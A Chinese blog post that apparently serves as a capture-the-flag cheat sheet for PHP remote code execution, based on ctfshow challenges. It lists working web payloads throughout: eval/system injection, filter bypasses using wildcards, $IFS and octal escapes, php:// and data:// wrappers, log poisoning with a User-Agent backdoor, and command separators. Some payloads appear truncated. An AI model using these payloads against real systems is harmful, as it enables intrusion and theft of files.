RCE(远程代码执行漏洞)函数&命令&绕过总结
前言
RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者通过漏洞,能够在目标系统上远程执行任意代码的安全漏洞。这种漏洞通常允许攻击者在受害主机上执行恶意命令,可能导致系统被完全控制,甚至可能被用来执行系统级操作,如删除文件、窃取敏感数据、安装恶意软件等。
本文基于ctfshow命令执行部分,整理了RCE常见函数与命令。文章很长,建议配合右下角目录食用。
一. 命令执行函数
以下函数都应当在eval中执行
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
1.1 system函数命令执行
通过system函数执行操作系统的shell命令并输出结果
?c=system("ls");
?c=system("tac flag.php");
1.2 passthru函数命令执行
passthru和system函数差不多
?c=passthru("tac flag.php");
1.3 echo+反引号命令执行
用反引号执行shell命令,但是反引号执行完命令不会被输出,所以需要配合echo函数输出结果
?c=echo `ls`;
?c=echo `tac flag.php`;
1.4 shell_exec函数命令执行
shell_exec函数和反引号类似,只执行但不返回,需要配合echo命令
?c=echo shell_exec("tac flag.php");
二. 常用命令
以下命令应当在命令执行函数中执行
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c);
}else{
highlight_file(__FILE__);
}
1.0 phpinfo()测试命令执行
phpinfo()命令被广泛应用于是否存在RCE命令执行漏洞的测试,例如检验是否成功写入了一句话木马。更加重要的是,phpinfo中disable_functions项会提供被禁用的命令,对进一步的漏洞利用具有重大帮助
?c=phpinfo();
1.1 ls命令目录读取
?c=ls;
1.2 cat命令文件读取
cat不会将结果数据到页面上,要看源代码
?c=cat flag.php
?c=/bin/cat flag.php
1.3 tac命令文件读取
?c=tac flag.php
1.4 vi命令文件读取
?c=vi flag.php
1.5 uniq命令文件读取
uniq函数的作用是删除文件重复行并输出剩余内容,可以用于文件读取。与cat一样,结果在源代码
?c=uniq flag.php
1.6 base64命令读取文件
base64命令可以读取flag.php并编码后输出
?c=base64 flag.php
?c=/bin/base64 flag.php
1.7 grep命令文件读取
grep用于查询文件中包含某个特定字符串的行并输出
?c=grep 'fla' flag.php
1.8 sort命令排序输出
sort是一个排序命令,sort filename会将文件内容进行行间的排序并输出文本
?c=sort flag.php
1.9 mv命令文件重命名
mv函数的作用是对文件进行重命名,通过修改后缀名为txt,可以直接在网页中访问txt文件
?c=mv f?lg.php a.txt
1.10 cp命令文件内容复制
用cp命令将flag的内容复制到1.txt上,然后访问/1.txt文件读取,注意使用反引号进行命令执行时,还是需要使用echo
?c=cp flag.php 1.txt
?c=echo `cp flag.php 1.txt`;
三. 文件名过滤
3.1 *通配符绕过
?c=system("tac fl*g.php");
?c=system("tac fl*");
3.2 ''空字符匹配绕过
?c=system("tac fla''g.php")
空字符串的可以用于绕过某些字符过滤,fla''g.php 等价于 flag.php
3.3 \匹配绕过
?c=system("tac fl\ag.php")
\ 是 转义字符,通常用于转义后面的字符,在某些情况下,fl\ag.php 可能会被解释为 flag.php,即通过插入转义字符来避免直接匹配敏感词或绕过过滤
3.4 ?占位绕过
?c=system("tac f???????")
在很多操作系统的文件系统中,? 被用作通配符,代表 任何单个字符。在 Linux 中,f??????? 可以匹配任何以 f 开头并包含 7 个任意字符的文件名
3.5 传参执行绕过
3.5.1 eval函数
eval函数执行任意php命令,这里利用get方式接受x参数,在传参中执行命令,而在这个get方式接受的参数并没有被过滤
?c=eval($_GET[x]);&x=system("ls");
?c=eval($_GET[x]);&x=system("tac flag.php");
3.5.2 include函数
这个方法实际上是结合了文件包含漏洞,利用文件包含读取flag
?c=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
如果(和;被过滤:
%0a 是 URL 编码中表示换行符(\n)的字符。从而使得 include 语句和 $_GET[1] 的处理被分开,从而绕过过滤机制,不过include函数这里不加(也是可以的
php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
?c=include%0a$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
3.5.3 日志包含
既然能够执行文件包含,那么也可以包含日志文件,日志文件中会记录你的UA头,假设我们在UA头中写入后门代码,然后我们包含日志文件,那么就能通过后门代码读取文件,日志包含可以参考我过去的文章。这里的日志目录需要多次尝试。用蚁剑连接http://576f2421-5308-45ef-9c2e-17454de9e09a.challenge.ctf.show/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log即可,注意要用http,浏览器上直接粘下来会由于SSL证书连不上
?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log
User-Agent:
3.6 变量作用域劫持攻击
?c=eval(array_pop(next(get_defined_vars())));
post:
1=system('tac fl*');
3.6.1 函数解释
get_defined_vars()
获取当前作用域中所有定义的变量,返回一个数组,键是变量名,值是对应的变量值。
next(get_defined_vars())
将指针移动到数组中的下一个元素,并返回该元素的值。在这里,指针操作的对象是由 get_defined_vars() 返回的数组。
array_pop(...)
弹出数组的最后一个元素。这里作用在 next(get_defined_vars()) 的结果上,获取这个数组的最后一个变量值。
3.6.2 攻击流程
攻击者通过 POST 请求传入 1=system('tac fl*');,在服务器端该数据被存储为变量。
array_pop(next(get_defined_vars())) 获取该变量值,即 system('tac fl*')。
eval() 动态执行,触发 system('tac fl*'),攻击者能够获取敏感文件内容。
3.7 函数嵌套文件枚举
getcwd() 函数返回当前工作目录的路径。
scandir() 函数列出指定目录中的所有文件和目录,并返回一个包含文件和目录名称的数组。
show_source() 函数用于显示一个 PHP 文件的源代码
通过这三个函数,拼接出了flag.php文件,并使用show_source输出。这里的[2]要多尝试,flag文件的位置不一定会在第2位
?c=show_source(scandir(getcwd())[2]);
3.8 函数嵌套文件读取
这个函数拼接实际上是上面的复杂版,适用于[]被过滤的情况,不能直接遍历scandir数组,只能使用指针操作来获取特定文件,由于前两个文件是.和..,因此用array_reverse函数从最后一个文件开始。由于指针操作函数的作用是返回值而非地址,因此不能嵌套使用,利用这种方式只能读取很有限的几个文件。
读取最后一个文件
?c=show_source(current(array_reverse(scandir(getcwd()))));
读取倒数第二个元素
?c=show_source(next(array_reverse(scandir(getcwd()))));
还可以用另一个函数得到目录
?c=echo highlight_file(current(array_reverse(scandir(pos(localeconv())))));
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
四. 空格过滤
4.1 %20空格绕过
是 URL 编码的空格
?c=system("tac%20flag.php")
4.2 %09空格绕过
%09 是 URL 编码中的水平制表符(Tab,ASCII 码为 9),它的作用是将 tac 后面的 fla* 和前面的部分隔开,通常它不会影响命令的执行,只是空格的替代。
?c=system("tac%09flag.php");
4.3 $IFS$9空格绕过
$IFS 是一个特殊的环境变量,表示 Internal Field Separator(内部字段分隔符),默认情况下,$IFS 的值包含空格、制表符和换行符。$9是命令行参数的占位符之一,会被解析为空字符串。两者结合可以起到空格的作用
?c=system("tac$IFS$9flag.php");
4.4 ${IFS}绕过
?c=system("tac${IFS}flag.php")
4.5 <空格绕过
?c=system("tac < 是 输入重定向符号,用于将文件内容作为命令的输入,可以用于空格绕过。 五. 命令过滤 5.1 ''空字符匹配绕过 ?c=system("ta''c flag.php") 和文件名绕过一样,空字符串的可以用于绕过某些函数的过滤,ta''c 等价于 tac 5.2 \匹配绕过 ?c=system("ta\c flag.php") \ 是 转义字符,通常用于转义后面的字符,在某些情况下,ta\c 可能会被解释为 tac,即通过插入转义字符来避免直接匹配敏感词或绕过过滤 5.3 命令文件+?绕过 cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令,这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面,如果bin被过滤了也可以用通配符 记得cat要看源代码 ?c=/bin/c?t flag.php ?c=/?in/c?t flag.php 同理,base64命令也可以这样操作 ?c=/bin/ba?e64 flag.php 5.4 换用其他命令 在第一部分有这么多函数,说不定有些没被过滤呢 六. 字母过滤 6.1 base64命令文件执行 ?c=/bin/base64 flag.php ?c=/???/????64 ????.??? 6.2 数字ASCII码代替字母 $' 是 Bash 中的字符转义机制,用于解析以反斜杠 \ 开头的转义字符或八进制/十六进制字符表示。其中,以\143为例,\143 是 ASCII 八进制表示,转换为字符 c。 ?c=$'\154\163' ls ?c=$'\143\141\164'%20* cat * ?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160' tac flag.php 可以使用python脚本来实现八进制ASCII码的编码与解码 def encode_to_octal(input_string): # 将每个字符转换为其ASCII码的八进制表示 return ''.join(f'\\{oct(ord(c))[2:]}' for c in input_string) # 测试 input_string = "cat" encoded_string = encode_to_octal(input_string) print(f"Encoded: {encoded_string}") def decode_from_octal(octal_string): # 分割八进制字符串,并将每个八进制值转换为字符 characters = octal_string.split('\\')[1:] # 去掉空字符串部分 decoded_string = ''.join(chr(int(oct(c), 8)) for c in characters) return decoded_string # 测试 octal_string = "\\143\\141\\164" decoded_string = decode_from_octal(octal_string) print(f"Decoded: {decoded_string}") 七. 命令执行函数过滤 题目只有一层eval,而用于执行命令的函数都被过滤了,下面将介绍如何仅仅通过函数的结合,不利用任何命令,来实现目录与文件读取 if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); } 7.1 函数嵌套目录读取 7.1.1 自根目录向下读取目录 c=print_r(scandir("/")); c=print_r(scandir("/var")); c=print_r(scandir("/var/www")); c=print_r(scandir("/var/www/html")); 这里也一样,不再列举 c=var_dump(scandir('/')); c=var_export(scandir('/')); c=echo(implode('--',scandir("/"))); c=echo json_encode(scandir("/")); 7.1.2 自当前目录向上读取目录 c=print_r(scandir(dirname(__FILE__))); // 读取当前目录 c=print_r(scandir(dirname(__DIR__))); // 读取上级目录 c=print_r(scandir(dirname(dirname(__FILE__))));//读取上级目录 c=print_r(scandir(dirname(dirname(__DIR__))));//读取上上级目录 c=print_r(scandir(dirname(dirname(dirname(dirname(__DIR__)))))); dirname() 用于获取路径的目录部分。dirname('FILE');返回 '.' scandir() 列出指定目录中的文件和目录,返回一个数组 print_r() 输出变量的易读信息,适合用于调试和查看数组内容 __FILE__ __DIR__是php中的魔术方法,可以用于获取当前目录与上级目录,通过迭代dirname函数就能实现目录遍历 输出:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) 这里也一样,不再列举 c=var_dump(scandir(dirname(dirname(dirname(dirname(__DIR__)))))); c=var_export(scandir(dirname(dirname(dirname(dirname(__DIR__)))))); c=echo(implode('--',scandir(dirname(dirname(dirname(dirname(__DIR__))))))); c=echo json_encode(scandir(dirname(dirname(dirname(dirname(__DIR__)))))); 还可以用glob函数 c=var_export(glob('*')); c=var_export(glob('../*')); c=var_export(glob('../../*')); c=var_export(glob('../../../*')); 7.2 include函数文件读取 7.2.1 直接包含输出文件 c=include("flag.php");echo $flag; c=include("../../../../../flag.txt");echo $flag; c=include("/flag.txt");echo $flag; 7.2.2 伪协议文件读取❓ php://filter伪协议,它的传参伪协议打法更详细见[[#3.5.2 include函数]] c=include "php://filter/convert.iconv.UTF8.UTF16/resource=flag.php"; c=include "php://filter/convert.iconv.UTF8.UTF16/resource=../../../../../flag.txt"; c=include "php://filter/convert.iconv.UTF8.UTF16/resource=/flag.txt"; ?c=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php php://input伪协议 ?c=include$_GET[x]&x=php://input post: data://伪协议 第二个是对php代码base64编码绕过flag.php的过滤❓ ?c=include$_GET[x]&x=data://text/plain, c=include$_GET[x]&x=data://text/plain;base64,data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKSA/Pg== ?c=data://text/plain,=system("ls")?> //短标签绕过php过滤 7.2.3 日志包含 日志的相对位置需要去遍历目录 ?c=include(../../../var/log/nginx/access.log) UA: 7.2.3 针对文件包含的过滤 传参伪协议 7.3 highlight函数文件读取 //访问当前目录下的flag c=highlight_file("flag.php"); //通过相对路径访问上级目录的flag c=highlight_file("../../../../../flag.txt"); //自根目录访问下级目录中的flag c=highlight_file("/flag.txt"); 7.4 show_source函数文件读取 c=show_source("flag.php"); c=show_source("../../../../../flag.txt"); c=show_source("/flag.txt"); 7.5 readgzfile函数文件读取 c=readgzfile("flag.php"); c=readgzfile("../../../../../flag.txt"); c=readgzfile("/flag.txt"); 7.6 require_once函数文件读取 c=require_once('/flag.txt') 7.7 函数嵌套文件枚举 getcwd() 函数返回当前工作目录的路径。 scandir() 函数列出指定目录中的所有文件和目录,并返回一个包含文件和目录名称的数组。 show_source() 函数用于显示一个 PHP 文件的源代码 通过这三个函数,拼接出了flag.php文件,并使用show_source输出。这里的[2]要多尝试,flag文件的位置不一定会在第2位 c=show_source(scandir(getcwd())[2]); 7.8 函数嵌套文件读取 这个函数拼接实际上是上面的复杂版,适用于[]被过滤的情况,不能直接遍历scandir数组,只能使用指针操作来获取特定文件,由于前两个文件是.和..,因此用array_reverse函数从最后一个文件开始。由于指针操作函数的作用是返回值而非地址,因此不能嵌套使用,利用这种方式只能读取很有限的几个文件。 读取最后一个文件 c=show_source(current(array_reverse(scandir(getcwd())))); 读取倒数第二个元素 c=show_source(next(array_reverse(scandir(getcwd())))); 还可以用下面的这个函数实现同样功能 c=echo highlight_file(current(array_reverse(scandir(pos(localeconv()))))); c=echo highlight_file(next(array_reverse(scandir(pos(localeconv()))))); 八. 缓冲区劫持
error_reporting(0); ini_set('display_errors', 0); if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 当我们利用函数与命令对目录与文件进行读取时,获得的内容会被输出到缓冲区,但并没有立即发送到浏览器。 而本段代码中ob_get_contents() 获取当前输出缓冲区的内容(如果有的话),然后通过 ob_end_clean() 清空缓冲区。这些代码意味着,如果 PHP 代码执行过程中有任何输出,它将被捕获到变量 $s 中。然后通过对$s的正则匹配将输出全部替换为?,使我们无法获得flag。 8.1 提前送出缓冲区 ob_flush() 是用来将缓冲区的内容立即输出到浏览器,但它并不会改变缓冲区中的内容。 ob_end_flush() 是用来将缓冲区的内容立即输出到浏览器,并清空缓冲区的内容。 利用这两个函数,可以在执行后续缓冲区操作前提前把内容输出 (这里的/flag.txt是在根目录下的文件) c=var_export(glob('*'));ob_flush(); c=var_export(scandir('/'));ob_flush(); c=include('/flag.txt');ob_flush(); c=include('/flag.txt');ob_end_flush(); c=readgzfile("/flag.txt");ob_flush(); ... 8.2 提前终止程序 如果在脚本结束时(比如在 exit() die()被调用时),输出缓冲区中还有未输出的内容,PHP 会自动刷新这些内容并将其输出到浏览器。 c=var_export(scandir('/'));exit(); c=var_export(scandir('/'));die(); c=include('/flag.txt');exit(); c=include('/flag.txt');die(); c=readgzfile("/flag.txt");die(); ... 九. 命令分隔符 if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); } 这里解释一下这个 >/dev/null 2>&1 是一个 Linux Shell 重定向操作: >/dev/null:将标准输出重定向到 /dev/null,相当于丢弃输出。 2>&1:将标准错误(2)重定向到标准输出(1),也一起丢弃。 这意味着任何命令的输出(包括结果与报错)都不会显示。 9.1 ;,||,&,&& %0a命令分隔 先来看一下这几个字符的作用 ; //分号,前面的命令被执行,后面的命令和>/dev/null 2>&1拼接被丢弃 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令分别执行 && //仅当前一条命令成功执行后才执行下一条命令 %0a //在URL编码中代表换行符,可以分隔或中断正常的指令 于是构造以下Payloads。需要注意的是& 在 URL 中是一个保留字符,其作用是分隔多个参数,因此不能直接用 & 而必须用 %26。此处仅示例最基础命令,其他命令同理 ?c=ls;ls ?c=tac flag.php;ls ?c=ls|| ?c=tac flag.php|| ?c=ls%26 ?c=tac flag.php%26 ?c=ls%26%26 ?c=tac flag.php%26%26 ?c=ls%0A ?c=tac flag.php%0A 宇宙安全声明 本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。